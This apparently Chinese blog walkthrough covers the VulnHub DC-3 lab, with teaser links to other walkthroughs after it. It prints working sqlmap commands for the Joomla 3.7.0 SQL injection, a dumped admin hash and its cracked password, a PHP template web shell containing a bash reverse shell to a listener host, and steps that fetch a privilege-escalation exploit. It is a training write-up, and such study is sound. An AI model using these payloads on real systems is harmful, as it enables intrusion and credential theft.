代码编织梦想

靶机简介

大家好,我是 saulGoodman,这篇文章是DC系列第三篇Walkthrough,总共有8篇,敬请期待!
下载地址:DC: 3.2 ~ VulnHub
这次靶机只有一个 Flag,也就是在 /root 目录下的!所以我们要提升为 root 权限!

信息搜集

拿到靶机后的第一件事就是对它进行端口扫描:

1
nmap -A -p- -T4 192.168.1.103

这边用 NMAP 扫描出来后发现它只开放了一个 80 端口,而且使用的 CMS 是 Joomla,这个 CMS 我之前完红日靶场遇到过一次。

既然 CMS 是 Joomla 那么就使用它的扫描工具对它一顿梭哈吧:

1
perl joomscan.pl -u http://192.168.1.103 

扫描出来后我们得到了两个关键信息,也就是它的版本和它的网站后台地址:

1
2
版本:Joomla 3.7.0
后台地址 : http://192.168.1.103/administrator/

先访问它的首页发现了一段提示信息:

1
2
3
4
5
6
7
8
9
Welcome to DC-3.

This time, there is only one flag, one entry point and no clues.

To get the flag, you'll obviously have to gain root privileges.

How you get to be root is up to you - and, obviously, the system.

Good luck - and I hope you enjoy this little challenge.  :-)

大概的意思就是说这个靶场只有一个Flag,要让我们取得 root 权限!

Joomla SQL 注入

既然是这样那么我首先是搜索了有关于 Joomla 3.7.0 的漏洞信息,看看能不能捡个漏

1
searchsploit Joomla 3.7.0

由上图可见,它这个版本有一个 SQL 注入!既然有注入那么就丢到 Sqlmap 一把梭:

1
sqlmap -u "http://192.168.1.103/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

这边是注入出来了个数据库,但是 Joomla CMS 默认的数据库为 joomladb,所以我们就直接跑这个数据库下的表把:

1
sqlmap -u "http://192.168.1.103/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
[01:08:45] [INFO] fetching tables for database: 'joomladb'
[01:08:45] [INFO] used SQL query returns 91 entries
Database: joomladb
[76 tables]
+---------------------+
| #__assets           |
| #__associations     |
| #__banner_clients   |
| #__banner_tracks    |
| #__banners          |
| #__bsms_admin       |
| #__bsms_books       |
| #__bsms_comments    |
| #__bsms_locations   |
| #__bsms_mediafiles  |
| #__bsms_message_typ |
| #__bsms_podcast     |
| #__bsms_series      |
| #__bsms_servers     |
| #__bsms_studies     |
| #__bsms_studytopics |
| #__bsms_teachers    |
| #__bsms_templatecod |
| #__bsms_templates   |
| #__bsms_timeset     |
| #__bsms_topics      |
| #__bsms_update      |
| #__categories       |
| #__contact_details  |
| #__content_frontpag |
| #__content_rating   |
| #__content_types    |
| #__content          |
| #__contentitem_tag_ |
| #__core_log_searche |
| #__extensions       |
| #__fields_categorie |
| #__fields_groups    |
| #__fields_values    |
| #__fields           |
| #__finder_filters   |
| #__finder_links_ter |
| #__finder_links     |
| #__finder_taxonomy_ |
| #__finder_taxonomy  |
| #__finder_terms_com |
| #__finder_terms     |
| #__finder_tokens_ag |
| #__finder_tokens    |
| #__finder_types     |
| #__jbsbackup_timese |
| #__jbspodcast_times |
| #__languages        |
| #__menu_types       |
| #__menu             |
| #__messages_cfg     |
| #__messages         |
| #__modules_menu     |
| #__modules          |
| #__newsfeeds        |
| #__overrider        |
| #__postinstall_mess |
| #__redirect_links   |
| #__schemas          |
| #__session          |
| #__tags             |
| #__template_styles  |
| #__ucm_base         |
| #__ucm_content      |
| #__ucm_history      |
| #__update_sites_ext |
| #__update_sites     |
| #__updates          |
| #__user_keys        |
| #__user_notes       |
| #__user_profiles    |
| #__user_usergroup_m |
| #__usergroups       |
| #__users            |
| #__utf8_conversion  |
| #__viewlevels       |
+---------------------+

跑出来的表有 91 条!但是我们只需要它后台管理员的用户那个表就好,接着我找到了一个为#__users的表,随后我开始注入它的列:

1
sqlmap -u "http://192.168.1.103/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T "#__users" --columns
1
2
3
4
5
6
7
8
9
10
11
12
13
Database: joomladb
Table: #__users
[6 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| email    | non-numeric |
| id       | numeric     |
| name     | non-numeric |
| params   | non-numeric |
| password | non-numeric |
| username | non-numeric |
+----------+-------------+

最后注入出它的 username 和 password 列的数据:

1
sqlmap -u "http://192.168.1.103/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T "#__users" -C username,password --dump 

注入出来后得到了账号和一段加密的hash

1
2
3
4
5
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
+----------+--------------------------------------------------------------+

一般来说这种加密需要用字典来撞,运气好就能得到它的明文!我是使用 KALI 自带的 john 来破解它的 hash

因为我之前使用 john 破解过 pass 的 hash了,john 只会对同一个文件破解一次,所以我直接查看了上一次的爆破结果密码为:snoopy

Joomla Getshell

拿到密码后我登陆到了网站到后台:

1
http://192.168.1.103/administrator/index.php

登陆到后台我来到了网站到模版处,添加了一个新的php页面,里面的代码是我们的反弹shell的代码:

1
2
3
<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.1.128/4444 0>&1' ");
?> 

这个时候 KALI 用 nc 监听 4444,我们访问 saul.php 这个文件成功得到一枚shell

1
192.168.1.103/templates/beez3/saul.php

权限提升

拿到shell只后我查看了一下内核版本发现系统是16年的 Ubuntu

1
uname -a

紧接着我搜索有关于这个版本的漏洞发现了一个提权漏洞:

这是它的下载地址:

1
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

我把 exp 下载到本地只后,我 KALI 先是用 python 开启了一个简单的服务器用于靶机下载我们的 exp

1
python -m SimpleHTTPServer 8888

随后靶机用 wget 把我们的 exp 下载到靶机上:

紧接着解压文件后,运行 doubleput 提权为 root

最后也是在 root 目录下拿到了 Flag

交流群:

 微信公众号:

 知识星球:

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_36304918/article/details/124708005

vulnhub-------docker_containement_大方子的博客-爱代码爱编程

=========================== 个人收获: 1.利用reGeorg+Proxifier进行内网渗透 2.学会wpscan 3.学会了Docker Remote api   =============================   下载地址:https://download.vulnhub.com/vulne

No.25-VulnHub-Temple of Doom: 1-Walkthrough渗透学习-爱代码爱编程

** VulnHub-Temple of Doom: 1-Walkthrough ** 靶机地址:https://www.vulnhub.com/entry/temple-of-doom-1,243/ 靶机难度:中级(CTF) 靶机发布日期:2018年6月8日 靶机描述: [+]由https://twitter.com/0katz创建的CTF [+]

No.27-VulnHub-Pinky's Palace: v2-Walkthrough渗透学习-爱代码爱编程

** VulnHub-Pinky’s Palace: v2-Walkthrough ** 靶机地址:https://www.vulnhub.com/entry/pinkys-palace-v2,229/ 靶机难度:中级(CTF) 靶机发布日期:2018年3月18日 靶机描述:一个现实的Boot2Root。获得对系统的访问权限并阅读/root/root

No.38-VulnHub-Tommy Boy: 1-Walkthrough渗透学习-爱代码爱编程

** VulnHub-Tommy Boy: 1-Walkthrough ** 靶机地址:https://www.vulnhub.com/entry/tommy-boy-1,157/ 靶机难度:中级(CTF) 靶机发布日期:2016年7月27日 靶机描述: 圣施耐克!汤米男孩需要您的帮助! 卡拉汉汽车公司终于进入了现代技术领域,并建立了一个Web服务器

No.39-VulnHub-Billy Madison: 1.1-Walkthrough渗透学习-爱代码爱编程

** VulnHub-Billy Madison: 1.1-Walkthrough ** 靶机地址:https://www.vulnhub.com/entry/billy-madison-11,161/ 靶机难度:中级(CTF) 靶机发布日期:2016年9月14日 靶机描述: Help Billy Madison stop Eric from tak

No.41-VulnHub-DEFCON Toronto: Galahad-Walkthrough渗透学习-爱代码爱编程

** VulnHub-DEFCON Toronto: Galahad-Walkthrough ** 靶机地址:https://www.vulnhub.com/entry/defcon-toronto-galahad,194/ 靶机难度:初级(CTF) 靶机发布日期:2017年6月1日 靶机描述: Defcon Toronto于2016年9月主办的在线

0x01--Prime_Series_Level-1靶场-爱代码爱编程

001–靶场介绍 Prime是vulnhub靶场环境的一个简单的利用靶场,我们可以在vulnhub的官网里搜索到它,Prime系列共有六个靶场,本次使用的是19年出的第一个靶场环境。 介绍及下载链接:https://www.vulnhub.com/entry/prime-1,358 002–安装 靶场下载后是一个压缩文件,解压后用vm打开就行了,默认

Vulnhub-靶机-PRIME: 1-爱代码爱编程

今天发现了一个有趣的靶机,加载到本地VMware Workstation工作站进行漏洞复现 靶机下载地址 https://www.vulnhub.com/entry/prime-1,358/ 对目标进行扫描发现开放端口信息 nmap -sS -sV -p- -T5 100.100.100.130 浏览器访问,并对其进行目录扫描 di

《Vulnhub通关手册》——01 DC-1-爱代码爱编程

​背景概述: 下载地址为:https://www.vulnhub.com/entry/dc-1-1,292/ 本次靶机IP为192.168.2.11 技术要点: drupal7漏洞利用SUID的find命令提权1. 信息收集 1.1 扫描目标主机IP 使用arp-scan进行局域网扫描,使用命令arp-scan -l,扫描结果如下:

Vulnhub-shenron-2:神龙2靶机渗透攻略-爱代码爱编程

下载地址https://www.vulnhub.com/entry/shenron-2,677/ 启动环境virtualbox,若启动报错更改虚拟机中usb配置为1.1即可 需要获得两个flag ​ 信息收集 nmap扫描 nmap -sC -sV 192.168.210.220 发现22ssh,80和8080http ​ ​ 网站信息 8

Vulnhub-shenron-3:神龙3靶机渗透攻略-爱代码爱编程

下载链接:https://www.vulnhub.com/entry/shenron-3,682/ 需要拿到两面flag ​ 信息收集 nmap扫描 nmap -sC -sV 192.168.210.209 只有一个80端口 网站信息收集 看来得添加hosts解析,跟同系列靶机一个套路 页面正常 发现cms还是wordpress 目录

Vulnhub之Web-Machine-N7-爱代码爱编程

靶机下载地址: Web Machine: (N7) ~ VulnHubWeb Machine: (N7), made by Duty Mastr. Download & walkthrough links are available.https://www.vulnhub.com/entry/web-machine-n7,756/Difficul

【Vulfocus漏洞复现】redis-cnvd_2019_21763、redis-cnvd_2015_07557-爱代码爱编程

vps:腾讯云 centos8 本地:windows11 靶场环境:http://123.58.236.76:47109/ 在vps上执行以下命令 git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand cd RedisModules-ExecuteCommand/ make

VulnHub通关日记-DC_5-Walkthrough-爱代码爱编程

靶机介绍 DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. The plan was for DC-5 to kick it up a notch, so th

VulnHub通关日记-DC_8-Walkthrough-爱代码爱编程

靶机介绍 DC-8是另一个专门构建的易受攻击的实验室,目的是在渗透测试领域积累经验。 这个挑战有点复杂,既是实际挑战,又是关于在Linux上安装和配置的两因素身份验证是否可以阻止Linux服务器被利用的“概念证明”。 由于在Twitter上询问了有关双重身份验证和Linux的问题,也由于@ theart42的建议,最终导致了该挑战的“概念验证”部分。